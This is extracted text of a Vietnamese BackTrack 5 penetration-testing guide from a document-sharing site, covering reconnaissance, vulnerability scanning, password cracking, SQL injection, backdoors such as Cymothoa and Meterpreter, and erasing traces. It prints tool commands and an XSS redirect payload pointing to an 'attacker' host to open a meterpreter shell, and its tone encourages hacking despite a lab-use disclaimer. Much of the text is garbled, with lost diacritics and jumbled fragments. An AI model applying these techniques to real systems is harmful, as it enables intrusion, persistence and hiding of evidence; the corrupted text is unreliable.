1. Trang chủ
  2. » Giáo Dục - Đào Tạo

Tài liệu hướng dẫn sử dụng Back Track 5

27 404 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 27
Dung lượng 3,01 MB

Nội dung

Tài liu hng dn s dng BackTrack 5 – Ting Vit 2012 Ngi biên dch : cutynhangheo@gmail.com Trang 1 Tài liu hng dn s dng BackTrack 5 – Ting Vit Tài liu hng dn s dng BackTrack 5 – Ting Vit 2012 Ngi biên dch : cutynhangheo@gmail.com Trang 2 Mc lc Li nói đu 3 Phn I : Thu thp thông tin và gii thiu v các công c VA 4 1. Thu thp thông tin : 4 2. ánh giá l hng : 6 Phn II : Các b công c khai thác ( exploit tools ) và frameworks 10 1. B công c Metasploit Armitage : 10 2. B công c Social-Engineer Tookit : 11 3. B công c leo thang đc quyn (Privilege escalation tools ) : 12 4. B công c John the Ripper : 13 Phn III : Các b công c khai thác và frameworks – tip theo 15 1. ánh cp các thông tin t trình duyt : 15 2. Thc nghim k thut đánh cp thông tin : 15 3. B công c Hashcat trong BackTrack 5 : 17 4. Thc nghim k thut leo thang đc quyn : 18 5. Khai thác SQL Injection trong BackTrack 5 : 18 6. S tht bt ng đng sau các công c mang tên khai thác t đng : 19 Phn IV : Làm th nào đ n mình 20 1. Ti sao phi n mình ? 20 2. OS backdoor  Cymothoa : 20 3. Meterpreter có phi là backdoor : 22 4. Li dng l hng đ có backdoor : 23 Phn V : Chi tit mt cuc tn công gi đnh 24 1. B công c Autoscan Network trong BackTrack 5 : 24 2. Tài nguyên l hng trc tuyn : 24 3. Pentest mc tiêu : 25 4. Xóa b du vt : 26 5. Tng quan v mô hình bo mt Windows : 26 Tài liu hng dn s dng BackTrack 5 – Ting Vit 2012 Ngi biên dch : cutynhangheo@gmail.com Trang 3 Li nói đu Tài liu hng dn này cutynhangheo dành tng cho anh em HCEGroup và TheGioiMang.OrG nhân ngày reopen ca 2 din đàn thân yêu nói trên .Và cutynhangheo có đôi li tâm s vi anh em mi vào chi trò ngh thut này cái nhé .Trong ngh thut hack không có cái gi là s li bing và chây ý, anh em nên quan nim 1 điu khi ta cm thy tha mãn vi nhng gì ta đang có tc là lúc đó ta bt đu lc hu vi th gii .Trong ngh thut hack kin thc, k nng, t duy, s ranh ma và thêm mt chút may mn luôn luôn đi chung vi nhau .Vì vy nu ta cm thy mình đã có đc nhng gì mình mun thì lúc đó mình bt đu mt tt c .Cutynhangheo cng xin nói rng tài liu này ch dùng đ tham kho và s dng đ thc nghim tn công ( pentest ) trong môi trng lab hoc c quan, t chc có nhu cu tn công thc nghim trên h thng ca chính h .Kin thc trong cun sách hng dn này do cutynhangheo thu thp và tham kho nhiu ngun trên Internet, chân thành cm n các tác gi v ngun tài liu mà cutynhangheo đã tham kho qua . Ln na cutynhangheo xin nhc li tài liu này cutynhangheo biên dch li và cung cp cho anh em ch nhm mc đích hc tp và nghiên cu, cutynhangheo không chu trách nhim vic anh em s dng kin thc, k thut và t duy trong cun tài liu này dùng đ vi phm pháp lut nc Cng Hòa Xã Hi Ch Ngha Vit Nam .Mi hành vi mo danh hay s dng các kin thc nói trên cutynhangheo không chu trách nhim trc pháp lut . Tài liu hng dn s dng BackTrack 5 – Ting Vit 2012 Ngi biên dch : cutynhangheo@gmail.com Trang 4 Phn I : Thu thp thông tin và gii thiu v các công c VA Phiên bn BackTrack 5 có tên mã là “Revolution” ( tm dch là “Ci tin” ), phiên bn này rt đc gii bo mt (nht là gii Hack) mong đi; phiên bn này đc phát hành vào tháng 05 nm 2011 .So vi phiên bn BackTrack 4 R2 thì phiên bn này có nhiu s phát trin mnh m hn rt nhiu .Phiên bn BackTrack 5 này đc cho rng các nhà phát trin đã xây dng li t đu, cung cp cho chúng ta nhng ci tin tt hn và cng nh fix các li so vi phiên bn BackTrack 4 R2 trc đó . BackTrack 5 đc đt tên theo mt thut toán đc gi là “backtracking” .BackTrack 5 cung cp mt b các công c t crack password, pentest và scan ports .BackTrack 5 có 12 b các công c đc th hin nh hình 1 bên di . Hình 1 : Các b công c trong BackTrack 5 Ngi kim tra bo mt ( tm gi là Pentester – vi nhng ngi nh anh em chúng ta tm gi là sript kiddies, nói dân dã 1 tí là dân đi hack, cutynhangheo xin nhc li là chúng ta cha phi là hacker thc th OK ! ) thng thc hin các quá trình tn công thc nghim theo 5 bc ( tùy vào tng môi trng và trng hp c th có th nhiu hn 5 bc ) nh sau : 1. Bc 1 là thu thp thông tin ca h thng cn tn công thc nghim . 2. Bc 2 là scan bugs ( quét li ) và đánh giá các đim yu có th có ca h thng cn tn công thc nghim . 3. Bc 3 là tip cn vi h thng cn tn công thc nghim thông qua các đim yu có th có ca h thng đó . 4. Bc 4 là duy trì truy cp vi h thng cn tn công thc nghim ( nói có v khìn khìn nhng cutynhangheo ngh đây là bc to 1 backdoor cho ln truy cp sau vào h thng đó ) . 5. Bc 5 là xóa b tt c các du vt ( trong phim thì gi là “phi tang, dit chng”; hehehe ) . Trong phn hng dn tn công thc nghim ( pentest ) vi BackTrack 5 này, chúng ta s cùng xem xét qua phn thu thp thông tin và b công c đánh giá các l hng ( nu có ) đc cung cp trong phiên bn BackTrack 5 này nhé . 1. Thu thp thông tin : Tài liu hng dn s dng BackTrack 5 – Ting Vit 2012 Ngi biên dch : cutynhangheo@gmail.com Trang 5 Thu thp thông tin là bc tin hành đu tiên và cc k quan trng trong quá trình tn công thc nghim .Trong bc này, pentester và attacker s thu thp và có đc các thông tin s b ca mc tiêu cn tn công nh h thng mng mc tiêu, các cng đang m, h thng máy đang live và các dch v đang chy trên tng cng đó .Theo bn ta thu thp đc gì ? Rt đn gin ta s có đc 1 bng thông tin v s đ cu trúc ca mc tiêu, bên cnh đó ta còn có thông tin v các h thng và h thng mng đang đc s dng ca mc tiêu .Hình 2 bên di đây là hình chp ca công c Zenmap, BackTrack cung cp công c này đ giúp pentester và attacker có th thu thp đc thông tin và phân tích h thng mng ca mc tiêu . Hình 2 : Công c Zenmap UI trong BackTrack 5 Các ch đ scan ca Zenmap s cung cp cho ta thông tin v mc tiêu nh dch v đang chy trên tng cng, phiên bn h điu hành ca mc tiêu, đng đi đn mc tiêu, workgroups và tài khon ngi dùng .Các thông tin này thc s hu ích vi phng pháp “white box testing” ( tt nhiên cng hu ích vi attacker ) . Mt công c thu thp thông tin khác trong BackTrack 5 đó là CMS identification và IDS – IPS identification dùng đ thu thp thông tin và phân tích cho ng dng web .CMS identification s cung cp các thông tin s b v h thng CMS mc tiêu, b công c này có th đc dùng đ đánh giá các l hng trên h thng CMS và điu thun tin nht là b công c này cung cp các exploit ( khai thác ) có sn đ pentester và attacker có th kim tra trên h thng mc tiêu .Các công c nh joomscan ( CMS Joomla ) s đc nói sau trong phn hng dn này . Mt công c thú v và cc k mnh khác na là Maltego, công c này thng dùng đ phân tích v SMTP .Hình 3 bên di cho thy Maltego đang hot đng . Tài liu hng dn s dng BackTrack 5 – Ting Vit 2012 Ngi biên dch : cutynhangheo@gmail.com Trang 6 Hình 3 : Công c Maltego UI trong BackTrack 5 Trên bng Palette ca Maltego cho ta thy các thông tin nh DNS Name, Domain, Location, URL, email và các thông tin chi tit khác v website .Maltego s dng các tùy bin khác nhau trên các entities cung cp cho pentester và attacker các thông tin chi tit cn thit v mc tiêu .Maltego cung cp mt kt qu trc quan bng giao din đ ha v các thông tin thu thp đc ca mc tiêu . 2. ánh giá l hng : Bc th 2 trong tn công thc nghim pentest là đánh giá các l hng ( nu có ) .Sau khi đã thc hin bc đu tiên thành công . Thông tin và s đ t chc ca mc tiêu có đc thông qua footprinting ( nh hi xa cutynhangheo đc đn đây c nh nh là “in du n” ), lúc này chúng ta s tin hành đánh giá phân tích các đim yu hoc các l hng trong h thng cn tn công .Trên internet hin nay có rt nhiu trang web v bo mt cung cp danh sách các l hng có th s dng đ khai thác, nhng chúng ta s ch tp trung vào nhng gì BackTrack 5 cung cp trong series hng dn này nhé . Web application scans đc s dng đ đánh giá và tìm các l hng ca ng dng web .Hình 4 bên di đây gii thiu v công c joomscan trong BackTrack 5 .Joomscan có tính nng là s dng các l hng đc cung cp trong tài nguyên đ tìm kim l hng ca website chy trên nn Joomla . Tài liu hng dn s dng BackTrack 5 – Ting Vit 2012 Ngi biên dch : cutynhangheo@gmail.com Trang 7 Hình 4 : Công c Joomscan Joomscan s dng câu lnh nh sau : ./joomscan.pl –u <string> -x proxy:port Phn <string> chính là Website chy Joomla cn tn công .Joomscan có các tùy chn kèm theo nh sau kim tra phiên bn ca Joomla, kim tra Server, kim tra Firewall đang hot đng …Nh hình 4  trên Website Joomla mc tiêu đang chy trên máy ch web Apache Server và phiên bn PHP đang s dng là 5.5.16 . OpenVAS ( Open Vulnerability Assessment System ) trong BackTrack 5 : M Application  Backtrack  Vulnerability scanners  OpenVAS s cung cp cho bn mt danh sách các tùy chn nh hình 5 bên di . Tài liu hng dn s dng BackTrack 5 – Ting Vit 2012 Ngi biên dch : cutynhangheo@gmail.com Trang 8 Hình 5 : Các tùy chn ca OpenVAS trong BackTrack 5 . OpenVAS là mt công c mnh trong vic phân tích và đánh giá l hng đi vi mc tiêu cn tn công .Nhng trc khi s dng b công c này nhà cung cp khuyn cáo bn cn thit lp chng thc vi tùy chn OpenVAS MkCert .Sau đó, chúng ta cn to mt tài khon ngi dùng mi t trình menu nh trong hng dn này . Ngi dùng có th tùy chnh đ áp dng các rule ca mình, hoc s đc cung cp mt tp hp rng bng cách nhn t hp phím Ctrl + D .Khi mt ngi dùng mi đã đc thêm vào vi các thông tin đng nhp, chúng ta đã có th bt đu s dng b công c này . Tài liu hng dn s dng BackTrack 5 – Ting Vit 2012 Ngi biên dch : cutynhangheo@gmail.com Trang 9 Hình 6 : Quá trình thêm tài khon ca OpenVAS OpenVAS hot đng đánh giá l hng trên mô hình Client/Server .Bn nên cp nht thng xuyên danh sách các l hng mi cho th vin ca OpenVAS đ có th thc hin các bc kim tra có hiu qu nht . OpenVAS và Nessus Scanner : Nessus Scanner là b công c phân tích và đánh giá l hng t đng .Chúng ta hãy lt qua xem s khác bit gia 2 b công c này . Nessus Scanner có 2 phiên bn, min phí và tr tin ( cái v này làm nhiu dân đi hack nh chúng ta vô cùng ái ngi nh ! Cha hack mà đã tn tin ri ), trong khi đó OpenVAS thì li hoàn toàn min phí ( cái này đc àh nghen, đng bao gi có suy ngh đ free là đ cùi anh em nhé, có nhng đ free mà cht lng ngon hn hn đ tr tin đàng hoàng, mà xài đ free thì các bác mun đánh bn quyn cng chng có c gì xi đc anh em ta ) .Theo đánh giá gn đây cho bit thì các tài nguyên cung cp các plugins cho 2 b công c này có s khác nhau đáng k, và tùy thuc vào nhn đnh ca mi ngi s đa ra nhn xét là s có 1 b công c đc khuyên không nên s dng, tt nhiên 1 chng trình scan t đng s có th đa ra nhng đánh giá sai lm, điu này là không th tránh khi ( anh em s hi cutynhangheo ti sao sai lm còn gii thiu, cutynhangheo xin tr li vì bn cht chng trình do con ngi lp trình ra, nó ch bit làm theo ch nó không có suy ngh nh con ngi nhé ). Trên internet có rt nhiu nhóm đc lp ra đ hng dn cho nhau cách s dng các b công c h tr khác, tt nhiên có c các b công c scan t đng, nhng cutynhangheo xin khuyn cáo vi anh em nh sau ta ch s dng các b công c scan t đng đ đánh giá toàn din các l hng ca các mc tiêu cn tn công .BackTrack 5 cng cung cp các b công c khác cùng th loi nh các b công c CISCO, ngha là các b công c này đc s dng đ tìm l hng trên h thng mng chy phn cng CISCO .Các Fuzzer cng đc cung cp, đc phân thành 2 loi Network Fuzzers và VOIP Fuzzers . ó là điu gii thích ti sao BackTrack 5 đc cung cp rt nhiu b công c đ thu thp thông tin và đánh giá l hng .Trong phn hng dn này cutynhangheo s c gng gii thiu mt hoc hai b công c mà cutynhangheo cm thy hu dng cho anh em nhé ( còn li nu anh em mun nâng cao skill thì làm n t lên Google Search dùm cái h, có 1 câu ngn ng “Tôi ch cho cái cn câu ch tôi không cho con cá” ) . Tài liu hng dn s dng BackTrack 5 – Ting Vit 2012 Ngi biên dch : cutynhangheo@gmail.com Trang 10 Phn II : Các b công c khai thác ( exploit tools ) và frameworks Trong phn đu ca cun hng dn v BackTrack 5 này, chúng ta đã đi qua 2 bc là thu thp thông tin và đánh giá l hng vi các b công c đc gii thiu  trên .Trong phn hai này, chúng ta s đc gii thiu v các b công c đ khai thác các l hng t xa và tìm hiu làm th nào đ s dng các exploitation frameworks đ leo thang đc quyn ví d nh s dng John the Ripper đ crack mt khu và truy cp vào mt h thng Windows t xa nhé . 1. B công c Metasploit Armitage : Metasploit Armitage là phiên bn giao din đ ha ca b công c khai thác l hng ni ting Metasploit Framework .Cutynhangheo s vit mt series v hng dn s dng Metasploit trong thi gian sp ti và s cung cp sm cho anh em .Trong cun sách hng dn v BackTrack 5 này, chúng ta s đc gii thiu cách s dng autopwn đ khai thác l hng trình duyt trên h thng Windows XP bng b công c Metasploit Armitage . Hình 7 : B công c Metasploit Armitage ; h thng Windows b xâm nhp t xa đc th hin bng màu đ .Giao din console bên di cho thy quá trình s dng autopwn đ khai thác l hng trình duyt trên h thng … Armitage cng thu thp đc thông tin v h điu hành ca mc tiêu tn công . Vi phn hng dn khai thác này, anh em cn 1 website b li cross-site scripting ( XSS ) vi l hng là URL redirection ( chuyn hng URL ) .Khi victim nhp chut vào 1 URL c th nào đó trên trình duyt, h thng ca victim s to ra mt meterpreter shell .on code URL redirection s có dng nh sau : http://www.xyz?c="><meta HTTPEQUIV="REFRESH" content="0; url=http://attacker"> [...]... mu n ( ví d leo lên quy BackTrack 5 cung c p cho chúng ta 1 lo t các b công c nhu c u th c ti n này, gi i i biên d ch : cutynhangheo@gmail.com ú v OK ! ) Gi có th th c thi các payloads và th c c quy ng nh ng Trang 12 Tài li ng d n s d ng BackTrack 5 Hình 11 : Các phân lo i trong b công c c quy n, m i lo ngh anh em s d Ti ng Vi t 2012 c quy n trong BackTrack 5 y, BackTrack 5 cung c p 4 phân lo i trong... i bên th p các m t 3 B công c Hashcat trong BackTrack 5 : Hashcat là b công c mi n phí, có nhi u c i ti n t ng, công c ph c h i m t kh u trên nhi u h u hành Các n n t c h tr bao g m CUDA, OpenCL và CPU, và m t s i biên d ch : cutynhangheo@gmail.com Trang 17 Tài li ng d n s d ng BackTrack 5 Ti ng Vi t 2012 Hình 17 : Các câu l nh c a Hashcat trong BackTrack 5 Trong ph ng d th Hashcat v i l i chú thích... vào h th t k lúc nào Victim s không h hay bi t s t n t i c a backdoor, ngo i tr victim phát hi n hay nghi ng m ub th ng c a h c id c a ti n trình trong BackTrack 5 chúng ta s d ng câu l nh ps aux trong môi ng Cymothoa shell i biên d ch : cutynhangheo@gmail.com Trang 21 Tài li ng d n s d ng BackTrack 5 Ti ng Vi t 2012 3 Meterpreter có ph i là backdoor : Trong ph c gi i thi t ph n không th thi u c a b... xóa s ch Vì v y, chúng ta nên cài bookdoor ho c có th quay l i victim b t k lúc nào 5 T ng quan v mô hình b o m t Windows : Mô hình b o m t c n M i biên d ch : cutynhangheo@gmail.com i dùng có 1 SID duy nh t SID s có d ng Trang 26 Tài li ng d n s d ng BackTrack 5 Ti ng Vi t 2012 S-1 -5- 21-9867 453 210-23897 653 41-23768 956 -1023 Red - Revision level Green Identified Authority Value Orange Domain or local... 1 máy o ch y BackTrack 5 và 1 s máy o ch y các Windows khác Chúng ta s c c a quá trình t n công và c g ng xâm nh p vào h th ng m ng này nhé ng 1 B công c Autoscan Network trong BackTrack 5 : Sau khi k t n i vào h th ng m u tiên chúng ta c n scan c u trúc h th ng m ng và ki m tra xem các h th th ng m th c hi n vi c này, chúng ta s d ng b công c ng d n b công c Application Autoscan Backtrack Information... victim th c thi i biên d ch : cutynhangheo@gmail.com Trang 22 Tài li ng d n s d ng BackTrack 5 Ti ng Vi t 2012 file này trên h th ng c a h , meterpreter shell s kh i t o ngay l p t c m t k t n i t c thì Lúc này hình dung ra attacker có th u gì r i hen Hình 24 : H th ng victim b truy c p b i BT5 thông qua backdoor 4 L i d ng l h có backdoor : Backdoor là m t kênh k t n i bí m t vào h th ng Các attacker... u s d ng t backdoor trong BackTrack 5 Câu l nh s d ng : /opt/framework/msf3/msfpayload [< options>] < payload> [actions] n quay tr l i h th ng c a victim nhi u l n, mà không c n victim ph i click hay th c thi m c nào c Anh em c n ph i hi u th c s v Metasploit và Meterpreter, có th tham kh o cu ng d n s d ng Metasploit ( s c cung c p trong th i gian s m nh t ) và các ph ng d c v BackTrack 5 c a cutynhangheo... escalation Online attacks / Offline attacks c phát tri làm nh ng vi c này H u h t các ti n trình trong h th u có th c th c thi v i quy n t s ít, quy c th c thi BackTrack 5 có các b công c u ki n thu n l c quy n 5 Khai thác SQL Injection trong BackTrack 5 : c x p h ng s 1 trong OWASP Top 10 l h ng v b o m t trong ng d ng web Nó có th c th c hi n khai thác b ng tay ho c b ng các b công c khai thác t ng pháp... công và xâm nh p Trong ph ng d n k ti n k t thúc trong series ng d n s d ng BackTrack 5, cutynhangheo s trình bày m t cu c t n công d a trên m t k ch b n gi nh và s s d th c hi n, cu c t n công gi nh này s s d ng t t c các thu c gi i thi u các ph n trên i biên d ch : cutynhangheo@gmail.com Trang 23 Tài li ng d n s d ng BackTrack 5 Ph n V : Chi ti t m t cu c t n công gi t Ti ng Vi t 2012 nh Trong b n ph... biên d ch : cutynhangheo@gmail.com Trang 18 Tài li ng d n s d ng BackTrack 5 Trong ph n ng d n này chúng ta ch Injection t ng vào website victim C u trúc câu l c n b công c Ti ng Vi t 2012 SQL python DarkMySQLi.py u http://target B công c này s scan toàn b website victim, b ng cách s d ng câu l nh trên trong console ng d c a b công c trên trong BackTrack 5 là /pentest/web/DarkMySQLi 6 S th t b t . bn BackTrack 4 R2 trc đó . BackTrack 5 đc đt tên theo mt thut toán đc gi là “backtracking” .BackTrack 5 cung cp mt b các công c t crack password, pentest và scan ports .BackTrack. BackTrack 5 : 24 2. Tài nguyên l hng trc tuyn : 24 3. Pentest mc tiêu : 25 4. Xóa b du vt : 26 5. Tng quan v mô hình bo mt Windows : 26 Tài liu hng dn s dng BackTrack. Tài liu hng dn s dng BackTrack 5 – Ting Vit 2012 Ngi biên dch : cutynhangheo@gmail.com Trang 1 Tài liu hng dn s dng BackTrack 5 – Ting Vit Tài liu

Ngày đăng: 22/04/2015, 03:30

TỪ KHÓA LIÊN QUAN

w